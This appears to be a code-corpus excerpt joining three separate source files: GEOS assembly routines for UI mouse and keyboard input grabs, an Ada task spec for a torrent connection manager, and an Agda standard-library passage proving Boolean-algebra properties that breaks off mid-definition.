VMFI_afterOpt:
mov dl, VUM_MANUAL
call VisMarkInvalid ; mark newly invalid attributes
.leave
ret
VisMarkFullyInvalid endp
COMMENT @----------------------------------------------------------------------
ROUTINE: VisReleaseMouse
DESCRIPTION: Releases mouse grab for the calling object, if it had the
mouse grab. If the active grab is lost, then the ptr event
handling mode is set back to whatever it was set to the last
time there was no active grab (basically, back to whatever
the last impledgrab object set it too)
The implementation for this routine varies depending on
whether or not the UI thread is currently running. If it
is, then FlowGrabMouse is called. If it is not, then
the MSG_VIS_VUP_ALTER_INPUT_FLOW is sent to the object,
which will find its way up to the VisContent object which
the current object is under.
NOTE: If called on object which implements mouse grabs,
results in object releasing grab from node above the
object (i.e can not be used to release mouse from self)
PASS: *ds:si -- object to release the grab for
RETURN: nothing
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 3/89 Initial version
------------------------------------------------------------------------------@
VisReleaseMouse method VisClass, MSG_VIS_RELEASE_MOUSE
push ax
push bx, cx, dx, bp
clr ax ;no bounds limit, OK?
mov bx, ax
mov cx, ax
mov dx, ax
call SendMouseInteractionBounds ;limit view drag-scrolling
pop bx, cx, dx, bp
mov al, mask VIFGF_MOUSE or mask VIFGF_NOT_HERE
mov ah, VIFGT_ACTIVE
FALL_THRU VisAlterInputFlowCommon, ax
VisReleaseMouse endm
COMMENT @----------------------------------------------------------------------
ROUTINE: VisAlterInputFlowCommon
DESCRIPTION: Implements mouse & kbd grabs for visible objects.
This routine is jumped to by various other routines in
this file (Regs are pushed on stack which this routine pops
off)
The implementation for this routine varies depending on
whether or not the UI thread is currently running. If it
is, then FlowGrabMouse is called. If it is not, then
the MSG_VIS_VUP_ALTER_INPUT_FLOW is sent to the object,
which will find its way up to the VisContent object which
the current object is under.
PASS: *ds:si -- object to grab for
al - VisInputFlowGrabFlags
ah - VisInputFlowGrabType
On stack, pushed in this order:
value to return in ax
RETURN: *ds:si - intact
ax - as specified in stack arguments
DESTROYED: Nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 11/89 Initial version
------------------------------------------------------------------------------@
VisAlterInputFlowCommon proc far
class VisClass
push cx, dx, bp
sub sp, size VupAlterInputFlowData ; create stack frame
mov bp, sp ; ss:bp points to it
mov cx, ds:[LMBH_handle]
mov ss:[bp].VAIFD_object.handle, cx ; copy object OD into frame
mov ss:[bp].VAIFD_object.chunk, si
mov ss:[bp].VAIFD_flags, al ; copy flags into frame
mov ss:[bp].VAIFD_grabType, ah
mov ss:[bp].VAIFD_gWin, 0 ; assume not needed
test al, mask VIFGF_GRAB ; Check for mouse grab
jz notMouseGrab
test al, mask VIFGF_MOUSE
jz notMouseGrab
push di
call VisQueryWindow ; Fetch window handle in di
mov ss:[bp].VAIFD_gWin, di ; & pass in message
pop di
notMouseGrab:
clr dx ; init to no translation
mov ss:[bp].VAIFD_translation.PD_x.high, dx
mov ss:[bp].VAIFD_translation.PD_x.low, dx
mov ss:[bp].VAIFD_translation.PD_y.high, dx
mov ss:[bp].VAIFD_translation.PD_y.low, dx
mov dx, size VupAlterInputFlowData ; pass size of structure in dx
test al, mask VIFGF_GRAB ; Grab?
jz directCall ; if not, we can safely make
; a direct call to the first
; Input Node up tree
test al, mask VIFGF_MOUSE ; Mouse?
jz directCall ; if not, we can safely make
; a direct call to the first
; Input Node up tree
callHere:
mov ax, MSG_VIS_VUP_ALTER_INPUT_FLOW ; send message
call ObjCallInstanceNoLock
afterCall:
add sp, size VupAlterInputFlowData ; restore stack
pop cx, dx, bp
FALL_THRU_POP ax
ret
directCall:
; If it turns out this object itself is an input node (a rare case,
; by the way, which happens thus far only in the GrObj world), then
; just use call the MSG_VIS_VUP_ALTER_INPUT_FLOW on ourselves, with
; on optimization even if VIFGF_NOT_HERE set.
; This allows input nodes to deal with the case of VIFGF_NOT_HERE
; specially, if they need to (GrObj uses this on text & other
; objects in order to control the GrObj mouse grab mechanism)
;
push di
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].VI_typeFlags, mask VTF_IS_INPUT_NODE
pop di
jnz callHere
; clear "NOT_HERE" flag, since
; we'll be calling on parent
and ss:[bp].VAIFD_flags, not mask VIFGF_NOT_HERE
push bx, si, di
mov al, mask VTF_IS_INPUT_NODE
call VisFindParentOfVisType
mov ax, MSG_VIS_VUP_ALTER_INPUT_FLOW
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; call Input Node directly
pop bx, si, di
jmp short afterCall
VisAlterInputFlowCommon endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisFindParentOfVisType
DESCRIPTION: Searches up visible tree, starting at parent, for first object
having specified VisTypeFlags set, & returns it.
CALLED BY: INTERNAL
PASS: *ds:si - visible object
al - VisTypeFlags to look for (any of which found set will
satisfy the search, if mulitiple flags specified)
RETURN: ^lbx:si - object (or NULL, if not found)
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 2/93 Rewritten from VisFindInputNode
------------------------------------------------------------------------------@
VisFindParentOfVisType proc far
class VisClass
call VisSwapLockParent
jnc noParent
push cx
push bx
push di
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].VI_typeFlags, al
pop di
jz goUp
mov bx, ds:[LMBH_handle] ; Found it!
foundIt:
mov_tr cx, bx
pop bx
call ObjSwapUnlock
mov_tr bx, cx
pop cx
ret
noParent:
clr bx ; Object not found.
clr si
ret
goUp:
call VisFindParentOfVisType
jmp short foundIt
VisFindParentOfVisType endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisTakeGadgetExclAndGrab
DESCRIPTION: Take the gadget exclsuive for the current obejct and grab the
mouse. This is often called by objects upon receipt of
a mouse message such as MSG_META_START_SELECT.
NOTE: If called on object which implements mouse grabs,
results in object getting grab from node above the
object (i.e can not be used to grab mouse from self)
CALLED BY: GLOBAL
PASS:
*ds:si - object to grab for
RETURN:
ds - updated to point at segment of same block as on entry
DESTROYED:
none
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 9/89 Initial version
------------------------------------------------------------------------------@
VisTakeGadgetExclAndGrab proc far
push ax, cx, dx, bp
mov cx,ds:[LMBH_handle] ;^lcx:dx = object to grab for
mov dx,si
mov ax,MSG_VIS_TAKE_GADGET_EXCL
call VisCallParent
pop ax, cx, dx, bp
GOTO VisGrabMouse
VisTakeGadgetExclAndGrab endp
COMMENT @----------------------------------------------------------------------
ROUTINE: VisForceGrabMouse
DESCRIPTION: Commonly used routine to grab the mouse for the current
object. Grabs the mouse from whoever has it.
VisReleaseMouse should be called to release the mouse grab
The implementation for this routine varies depending on
whether or not the UI thread is currently running. If it
is, then FlowGrabMouse is called. If it is not, then
the MSG_VIS_VUP_ALTER_INPUT_FLOW is sent to the object,
which will find its way up to the VisContent object which
the current object is under.
NOTE: If called on object which implements mouse grabs,
results in object getting grab from node above the
object (i.e can not be used to grab mouse from self)
PASS: *ds:si -- object to grab for
RETURN: nothing
DESTROYED: Nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
steve 1/90 Initial version
------------------------------------------------------------------------------@
VisForceGrabMouse method VisClass, MSG_VIS_FORCE_GRAB_MOUSE
push ax
mov al, mask VIFGF_MOUSE or mask VIFGF_GRAB or mask VIFGF_FORCE or \
mask VIFGF_PTR or mask VIFGF_NOT_HERE
mov ah, VIFGT_ACTIVE
GOTO VisAlterInputFlowCommon, ax
VisForceGrabMouse endm
COMMENT @----------------------------------------------------------------------
ROUTINE: VisGrabMouse
DESCRIPTION: Commonly used routine to grab the mouse for the current
object. Grabs the mouse if no one has the grab.
VisReleaseMouse should be called to release the mouse grab.
The implementation for this routine varies depending on
whether or not the UI thread is currently running. If it
is, then FlowGrabMouse is called. If it is not, then
the MSG_VIS_VUP_ALTER_INPUT_FLOW is sent to the object,
which will find its way up to the VisContent object which
the current object is under.
NOTE: If called on object which implements mouse grabs,
results in object getting grab from node above the
object (i.e can not be used to grab mouse from self)
PASS: *ds:si -- object to grab for
RETURN: nothing
DESTROYED: Nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 3/89 Initial version
------------------------------------------------------------------------------@
VisGrabMouse method VisClass, MSG_VIS_GRAB_MOUSE
push ax
push bx, cx, dx, bp
call VisGetBounds
call SendMouseInteractionBounds ;limit view drag-scrolling
pop bx, cx, dx, bp
mov al, mask VIFGF_MOUSE or mask VIFGF_GRAB or mask VIFGF_PTR or \
mask VIFGF_NOT_HERE
mov ah, VIFGT_ACTIVE
GOTO VisAlterInputFlowCommon, ax
VisGrabMouse endm
COMMENT @----------------------------------------------------------------------
ROUTINE: VisForceGrabLargeMouse
DESCRIPTION: Same as VisForceGrabMouse, but requests LARGE mouse events
be sent to grab. VisReleaseMouse may be used to release the
grab.
NOTE: If called on object which implements mouse grabs,
results in object getting grab from node above the
object (i.e can not be used to grab mouse from self)
PASS: *ds:si -- object to grab for
RETURN: nothing
DESTROYED: Nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
doug 4/91 Initial version
------------------------------------------------------------------------------@
VisForceGrabLargeMouse method VisClass, MSG_VIS_FORCE_GRAB_LARGE_MOUSE
push ax
mov al, mask VIFGF_MOUSE or mask VIFGF_GRAB or mask VIFGF_FORCE or \
mask VIFGF_LARGE or mask VIFGF_PTR or mask VIFGF_NOT_HERE
mov ah, VIFGT_ACTIVE
GOTO VisAlterInputFlowCommon, ax
VisForceGrabLargeMouse endm
COMMENT @----------------------------------------------------------------------
ROUTINE: VisGrabLargeMouse
DESCRIPTION: Same as VisGrabLargeMouse, but requests LARGE mouse events
be sent to grab. VisReleaseMouse may be used to release the
grab.
NOTE: If called on object which implements mouse grabs,
results in object getting grab from node above the
object (i.e can not be used to grab mouse from self)
PASS: *ds:si -- object to grab for
RETURN: nothing
DESTROYED: Nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
doug 4/91 Initial version
------------------------------------------------------------------------------@
VisGrabLargeMouse method VisClass, MSG_VIS_GRAB_LARGE_MOUSE
push ax
mov al, mask VIFGF_MOUSE or mask VIFGF_GRAB or mask VIFGF_LARGE or \
mask VIFGF_PTR or mask VIFGF_NOT_HERE
mov ah, VIFGT_ACTIVE
GOTO VisAlterInputFlowCommon, ax
VisGrabLargeMouse endm
COMMENT @----------------------------------------------------------------------
ROUTINE: SendMouseInteractionBounds
SYNOPSIS: Send new mouse for mouse interaction.
CALLED BY: VisGrabMouse, VisReleaseMouse
PASS: *ds:si -- object
ax, bx, cx, dx -- bounds, or zeroed if don't want to limit
view scrolling to any bounds.
RETURN: nothing
DESTROYED: ax, cx, dx, bp
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 5/ 3/91 Initial version
------------------------------------------------------------------------------@
SendMouseInteractionBounds proc near
;
; Send up our bounds in case we need to notify some parent view.
;
sub sp, size Rectangle
mov bp, sp
mov ss:[bp].R_left, ax
mov ss:[bp].R_top, bx
mov ss:[bp].R_right, cx
mov ss:[bp].R_bottom, dx
mov dx, size Rectangle ;pass this, even though we won't
; ObjMessage
; mov ax, MSG_VIS_VUP_SET_MOUSE_INTERACTION_BOUNDS
; call ObjCallInstanceNoLock ;send to ourselves, so it can be
; subclassed if necessary.
add sp, size Rectangle
ret
SendMouseInteractionBounds endp
COMMENT @----------------------------------------------------------------------
ROUTINE: VisGrabKbd
DESCRIPTION: Implements keyboard grab. Grabs keyboard input if no one has
the grab.
PASS: *ds:si -- object to grab for
RETURN: nothing
DESTROYED: Nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 3/89 Initial version
------------------------------------------------------------------------------@
VisGrabKbd method VisClass, MSG_META_GRAB_KBD
push ax
mov al, mask VIFGF_KBD or mask VIFGF_GRAB or mask VIFGF_NOT_HERE
mov ah, VIFGT_ACTIVE
GOTO VisAlterInputFlowCommon, ax
VisGrabKbd endm
COMMENT @----------------------------------------------------------------------
ROUTINE: VisForceGrabKbd
DESCRIPTION: Implements keyboard grab. Grabs keyboard input, forcing the
the previous owner to release.
PASS: *ds:si -- object to grab for
RETURN: nothing
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 3/89 Initial version
------------------------------------------------------------------------------@
VisForceGrabKbd method VisClass, MSG_META_FORCE_GRAB_KBD
push ax
mov al, mask VIFGF_KBD or mask VIFGF_GRAB or mask VIFGF_FORCE or \
mask VIFGF_NOT_HERE
mov ah, VIFGT_ACTIVE
GOTO VisAlterInputFlowCommon, ax
VisForceGrabKbd endm
COMMENT @----------------------------------------------------------------------
ROUTINE: VisReleaseKbd
DESCRIPTION: Releases keyboard grab.
PASS: *ds:si -- object to release the grab for
RETURN: nothing
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 3/89 Initial version
------------------------------------------------------------------------------@
VisReleaseKbd method VisClass, MSG_META_RELEASE_KBD
push ax
mov al, mask VIFGF_KBD or mask VIFGF_NOT_HERE
mov ah, VIFGT_ACTIVE
GOTO VisAlterInputFlowCommon, ax
VisReleaseKbd endm
COMMENT @----------------------------------------------------------------------
FUNCTION: VisCheckOptFlags
DESCRIPTION: EC routine to see if update path is set in a valid state
CALLED BY: GLOBAL
PASS:
*ds:si - visible object to test
RETURN:
none
DESTROYED:
none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 10/1/89 Initial version
------------------------------------------------------------------------------@
VisCheckOptFlags proc far
if ERROR_CHECK
push ax, bx, cx
call SysGetECLevel
test ax, mask ECF_NORMAL ; As this check is pretty method-
; intensive, skip out if less than
; normal level of EC level requested.
jz done
clr cl ; no req'ments yet.
call VisEnsureUpdatePath
done:
pop ax, bx, cx
endif
ret ; Leave ret here in non-EC case,
; so we can export routine
VisCheckOptFlags endp
if ERROR_CHECK
COMMENT @----------------------------------------------------------------------
FUNCTION: VisEnsureUpdatePath
DESCRIPTION: EC routine to see if update path is set in a valid state
CALLED BY: GLOBAL
PASS:
*ds:si - visible object to test
cl - UPDATE bits that must be set in this object up through
WIN_GROUP
RETURN:
none
DESTROYED:
none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 10/1/89 Initial version
------------------------------------------------------------------------------@
VisEnsureUpdatePath proc far
class VisCompClass
pushf
push ax, bx, cx, dx, si, di, bp
; Only do this if EC level is normal
; or above
call SysGetECLevel
test ax, mask ECF_NORMAL
LONG jz exit
call ECCheckVisFlags ; make sure basic vis stuff OK
call VisCheckIfSpecBuilt ; If not vis built, skip
LONG jnc exit
mov di, 1000 ; this is EC only code, so who cares...
call ThreadBorrowStackSpace
push di
push cx
push si
mov ax, MSG_VIS_GET_OPT_FLAGS
mov bx, segment VisClass
mov si, offset VisClass
mov di, mask MF_RECORD
call ObjMessage
mov cx, di
pop si
mov ax, MSG_VIS_VUP_CALL_WIN_GROUP
call ObjCallInstanceNoLock
test cl, mask VOF_UPDATING ; are we current in an update?
pop cx
LONG jnz done ; yes, skip the check
mov di, ds:[si]
add di, ds:[di].Vis_offset
; See if composite & doesn't
; manage children
test ds:[di].VI_typeFlags, mask VTF_IS_COMPOSITE
jz VEUP_10 ; skip if not
test ds:[di].VCI_geoAttrs, mask VCGA_CUSTOM_MANAGE_CHILDREN
jz VEUP_10
; IF not managing, don't
; require geometry update path
and cl, not mask VOF_GEO_UPDATE_PATH
VEUP_10:
; FIRST, make sure req'd path bits are set
mov al, ds:[di].VI_optFlags ; get optFlags
and al, cl ; mask w/bits that must be set
cmp al, cl
jz VEUP_20
xor al, cl ; figure out which are bad
test al, mask VOF_GEO_UPDATE_PATH
ERROR_NZ UI_BAD_GEO_UPDATE_PATH
test al, mask VOF_WINDOW_UPDATE_PATH
ERROR_NZ UI_BAD_WINDOW_UPDATE_PATH
test al, mask VOF_IMAGE_UPDATE_PATH
ERROR_NZ UI_BAD_IMAGE_UPDATE_PATH
VEUP_20:
; THEN, if we're at win group, we're done.
test ds:[di].VI_typeFlags, mask VTF_IS_WIN_GROUP
jnz done
; GET NEW PATH BITS THAT WE'LL REQUIRE
mov al, ds:[di].VI_optFlags ; get optFlags
test ds:[di].VI_attrs, mask VA_MANAGED
jnz VEUP_25 ; managed by parent, branch
; Else don't require update path
and al, not (mask VOF_GEOMETRY_INVALID or \
mask VOF_GEO_UPDATE_PATH)
VEUP_25:
; Else calc path bits needed
mov ah, al ; copy to ch
and ah, VOF_INVALID_BITS ; take invalid bits
shr ah, 1 ; turn into path bits
or al, ah ; and "or" back in
and al, VOF_PATH_BITS ; keep only resulting path bits
; If not composite or portal,
; ignore window invalid bits.
test ds:[di].VI_typeFlags, mask VTF_IS_COMPOSITE or mask VTF_IS_PORTAL
jnz VEUP_30
and al, not mask VOF_WINDOW_UPDATE_PATH
VEUP_30:
or cl, al ; OR in new req'd flags
call VisSwapLockParent
jnc VEUP_afterParent
call VisEnsureUpdatePath ; recurse up to win group
VEUP_afterParent:
call ObjSwapUnlock
done:
pop di
call ThreadReturnStackSpace
exit:
pop ax, bx, cx, dx, si, di, bp
popf
ret
VisEnsureUpdatePath endp
endif
COMMENT @----------------------------------------------------------------------
FUNCTION: VisIfFlagSetCallVisChildren
DESCRIPTION: This routine is for calling VISIBLE children in a visible
tree. The object & children may or may not have generic
parts; this routine DOES NOT rely on that portion of the
instance data. All children of the object are called, if
any of the specified flags in VI_optFlags are set, although
no messages are sent across to WIN_GROUP children.
CALLED BY: GLOBAL
PASS:
ax - message to pass
*ds:si - instance (vis part indirect through offset Vis_offset)
dl - flags to compare with children's VI_optFlags
if 0, no compare will be made.
if -1, no compare will be made, and will abort
after a child returns the carry flag set
(will return CX, DX, BP from the child
in this case).
cx - data to pass on to child. Data will be passed in both cx & dx.
bp - flags to pass on to any children called
RETURN:
if was checking for children that return carry set,
carry clear if no child returned carry set
carry set if child returned carry set,
cx, dx, bp = data returned from that child.
ds - updated to point at segment of same block as on entry
DESTROYED:
ax, bx, cx, dx, bp, di
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/89 Initial version
------------------------------------------------------------------------------@
VisIfFlagSetCallVisChildren proc far
class VisCompClass
EC< call VisCheckVisAssumption ; Make sure vis data exists >
mov di, ds:[si] ;make sure composite
add di, ds:[di].Vis_offset ;ds:di = VisInstance
test ds:[di].VI_typeFlags, mask VTF_IS_COMPOSITE
jz done ;if not, exit
mov di, offset CVCWFS_callBack
call VisCallCommonWithRoutine
done:
ret
VisIfFlagSetCallVisChildren endp
COMMENT @----------------------------------------------------------------------
FUNCTION: CVCWFS_callBack
DESCRIPTION: If current object is a composite, call all non-WIN_GROUP
children which have any of the specified flags in
VI_optFlags set.
CALLED BY: VisIfFlagSetCallVisChildren
PASS:
*ds:si - child
*es:di - composite
dl - flags to compare with children's VI_optFlags
if 0, no compare will be made, message will be sent
if -1, no compare will be made, and will abort
after a child returns the carry flag set
(will return CX, DX, BP from the child
in this case).
cx - data to pass on to child, will be passed in both cx and dx.
bp - data to pass on to child
ax - message
RETURN:
carry clear: means call next child.
cx, dx, bp - data to send to next child
carry set: means end processing children immediately
cx, dx, bp - data returned from child
DESTROYED:
ax, bx
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/89 Initial version
Eric 2/90 Added carry testing
------------------------------------------------------------------------------@
CVCWFS_callBack proc far
class VisClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
push ax
EC< call VisCheckVisAssumption ; Make sure vis data exists >
; MAKE SURE THERE IS A VISIBLE PART
mov bx, ds:[si] ; get ptr to child instance data
cmp ds:[bx].Vis_offset, 0 ; Has visible part been grown yet?
jne testFlags ; branch if so
; Else grow it.
mov bx, Vis_offset
push es:[LMBH_handle] ; save handle of comp block
call ObjInitializePart ; Make sure part has been grown
pop bx ; get handle of comp block
call MemDerefES ; restore segment of comp block to ES
mov bx, ds:[si] ; Get pointer to instance
testFlags:
add bx, ds:[bx].Vis_offset ; ds:bx = VisInstance
; Don't send to any WIN_GROUP's.
;
test ds:[bx].VI_typeFlags, mask VTF_IS_WIN_GROUP
;*** IMPORTANT: CY=0 ***
jnz returnCY ;if WIN_GROUP, skip calling w/message
tst dl ;perform tests?
jz callChild ;skip if not...
cmp dl, -1 ;abort after child returns carry?
je callChild ;skip if so...
test ds:[bx].VI_optFlags, dl ;are the required flags set?
;*** IMPORTANT: CY=0 ***
jz returnCY ;skip if not...
callChild:
push cx, bp, dx ;save DX last!
; Use ES version since *es:di is
; composite object
mov dx, cx ; pass cx value in both cx and dx
call ObjCallInstanceNoLock ;send it
jnc popRegsAndReturnCY ;if no carry returned, skip ahead
;to pop regs and continue (FAST!)...
;*** IMPORTANT: CY=0 ***
pop bx ;get saved DX value (don't trash
push bx ;returned DX until sure we can)
cmp bl, -1 ;should we be checking for carry?
clc
jne popRegsAndReturnCY ;skip if not (pass CY=0)...
;caller returned CY set and we were checking for that. Return
;CX, DX, and BP from the routine.
add sp, 6 ;remove 3 words from stack
stc ;return flag: continue with next
jmp short returnCY ;could save time here, but code
;conventions prevail...
popRegsAndReturnCY:
pop cx, bp, dx ;restore registers for next call
returnCY:
pop ax
ret
CVCWFS_callBack endp
Resident ends
|
source/torrent-managers.ads | reznikmm/torrent | 4 | 23993 | <gh_stars>1-10
-- Copyright (c) 2020 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-- License-Filename: LICENSE
-------------------------------------------------------------
limited with Torrent.Contexts;
with Torrent.Connections;
package Torrent.Managers is
task type Manager
(Context : not null access Torrent.Contexts.Context;
Recycle : not null access
Torrent.Connections.Queue_Interfaces.Queue'Class)
is
entry Connected (Value : not null Torrent.Connections.Connection_Access);
entry Complete;
end Manager;
end Torrent.Managers;
|
agda-stdlib-0.9/src/Algebra/Properties/BooleanAlgebra.agda | qwe2/try-agda | 1 | 17138 | ------------------------------------------------------------------------
-- The Agda standard library
--
-- Some derivable properties
------------------------------------------------------------------------
open import Algebra
module Algebra.Properties.BooleanAlgebra
{b₁ b₂} (B : BooleanAlgebra b₁ b₂)
where
open BooleanAlgebra B
import Algebra.Properties.DistributiveLattice
private
open module DL = Algebra.Properties.DistributiveLattice
distributiveLattice public
hiding (replace-equality)
open import Algebra.Structures
import Algebra.FunctionProperties as P; open P _≈_
import Relation.Binary.EqReasoning as EqR; open EqR setoid
open import Relation.Binary
open import Function
open import Function.Equality using (_⟨$⟩_)
open import Function.Equivalence using (_⇔_; module Equivalence)
open import Data.Product
------------------------------------------------------------------------
-- Some simple generalisations
∨-complement : Inverse ⊤ ¬_ _∨_
∨-complement = ∨-complementˡ , ∨-complementʳ
where
∨-complementˡ : LeftInverse ⊤ ¬_ _∨_
∨-complementˡ x = begin
¬ x ∨ x ≈⟨ ∨-comm _ _ ⟩
x ∨ ¬ x ≈⟨ ∨-complementʳ _ ⟩
⊤ ∎
∧-complement : Inverse ⊥ ¬_ _∧_
∧-complement = ∧-complementˡ , ∧-complementʳ
where
∧-complementˡ : LeftInverse ⊥ ¬_ _∧_
∧-complementˡ x = begin
¬ x ∧ x ≈⟨ ∧-comm _ _ ⟩
x ∧ ¬ x ≈⟨ ∧-complementʳ _ ⟩
⊥ ∎
------------------------------------------------------------------------
-- The dual construction is also a boolean algebra
∧-∨-isBooleanAlgebra : IsBooleanAlgebra _≈_ _∧_ _∨_ ¬_ ⊥ ⊤
∧-∨-isBooleanAlgebra = record
{ isDistributiveLattice = ∧-∨-isDistributiveLattice
; ∨-complementʳ = proj₂ ∧-complement
; ∧-complementʳ = proj₂ ∨-complement
; ¬-cong = ¬-cong
}
∧-∨-booleanAlgebra : BooleanAlgebra _ _
∧-∨-booleanAlgebra = record
{ _∧_ = _∨_
; _∨_ = _∧_
; ⊤ = ⊥
; ⊥ = ⊤
; isBooleanAlgebra = ∧-∨-isBooleanAlgebra
}
------------------------------------------------------------------------
-- (∨, ∧, ⊥, ⊤) is a commutative semiring
private
∧-identity : Identity ⊤ _∧_
∧-identity = (λ _ → ∧-comm _ _ ⟨ trans ⟩ x∧⊤=x _) , x∧⊤=x
where
x∧⊤=x : ∀ x → x ∧ ⊤ ≈ x
x∧⊤=x x = begin
x ∧ ⊤ ≈⟨ refl ⟨ ∧-cong ⟩ sym (proj₂ ∨-complement _) ⟩
x ∧ (x ∨ ¬ x) ≈⟨ proj₂ absorptive _ _ ⟩
x ∎
∨-identity : Identity ⊥ _∨_
∨-identity = (λ _ → ∨-comm _ _ ⟨ trans ⟩ x∨⊥=x _) , x∨⊥=x
where
x∨⊥=x : ∀ x → x ∨ ⊥ ≈ x
x∨⊥=x x = begin
x ∨ ⊥ ≈⟨ refl ⟨ ∨-cong ⟩ sym (proj₂ ∧-complement _) ⟩
x ∨ x ∧ ¬ x ≈⟨ proj₁ absorptive _ _ ⟩
x ∎
∧-zero : Zero ⊥ _∧_
∧-zero = (λ _ → ∧-comm _ _ ⟨ trans ⟩ x∧⊥=⊥ _) , x∧⊥=⊥
where
x∧⊥=⊥ : ∀ x → x ∧ ⊥ ≈ ⊥
x∧⊥=⊥ x = begin
x ∧ ⊥ ≈⟨ refl ⟨ ∧-cong ⟩ sym (proj₂ ∧-complement _) ⟩
x ∧ x ∧ ¬ x ≈⟨ sym $ ∧-assoc _ _ _ ⟩
(x ∧ x) ∧ ¬ x ≈⟨ ∧-idempotent _ ⟨ ∧-cong ⟩ refl ⟩
x ∧ ¬ x ≈⟨ proj₂ ∧-complement _ ⟩
⊥ ∎
∨-∧-isCommutativeSemiring : IsCommutativeSemiring _≈_ _∨_ _∧_ ⊥ ⊤
∨-∧-isCommutativeSemiring = record
{ +-isCommutativeMonoid = record
{ isSemigroup = record
{ isEquivalence = isEquivalence
; assoc = ∨-assoc
; ∙-cong = ∨-cong
}
; identityˡ = proj₁ ∨-identity
; comm = ∨-comm
}
; *-isCommutativeMonoid = record
{ isSemigroup = record
{ isEquivalence = isEquivalence
; assoc = ∧-assoc
; ∙-cong = ∧-cong
}
; identityˡ = proj₁ ∧-identity
; comm = ∧-comm
}
; distribʳ = proj₂ ∧-∨-distrib
; zeroˡ = proj₁ ∧-zero
}
∨-∧-commutativeSemiring : CommutativeSemiring _ _
∨-∧-commutativeSemiring = record
{ _+_ = _∨_
; _*_ = _∧_
; 0# = ⊥
; 1# = ⊤
; isCommutativeSemiring = ∨-∧-isCommutativeSemiring
}
------------------------------------------------------------------------
-- (∧, ∨, ⊤, ⊥) is a commutative semiring
private
∨-zero : Zero ⊤ _∨_
∨-zero = (λ _ → ∨-comm _ _ ⟨ trans ⟩ x∨⊤=⊤ _) , x∨⊤=⊤
where
x∨⊤=⊤ : ∀ x → x ∨ ⊤ ≈ ⊤
x∨⊤=⊤ x = begin
x ∨ ⊤ ≈⟨ refl ⟨ ∨-cong ⟩ sym (proj₂ ∨-complement _) ⟩
x ∨ x ∨ ¬ x ≈⟨ sym $ ∨-assoc _ _ _ ⟩
(x ∨ x) ∨ ¬ x ≈⟨ ∨-idempotent _ ⟨ ∨-cong ⟩ refl ⟩
x ∨ ¬ x ≈⟨ proj₂ ∨-complement _ ⟩
⊤ ∎
∧-∨-isCommutativeSemiring : IsCommutativeSemiring _≈_ _∧_ _∨_ ⊤ ⊥
∧-∨-isCommutativeSemiring = record
{ +-isCommutativeMonoid = record
{ isSemigroup = record
{ isEquivalence = isEquivalence
; assoc = ∧-assoc
; ∙-cong = ∧-cong
}
; identityˡ = proj₁ ∧-identity
; comm = ∧-comm
}
; *-isCommutativeMonoid = record
{ isSemigroup = record
{ isEquivalence = isEquivalence
; assoc = ∨-assoc
; ∙-cong = ∨-cong
}
; identityˡ = proj₁ ∨-identity
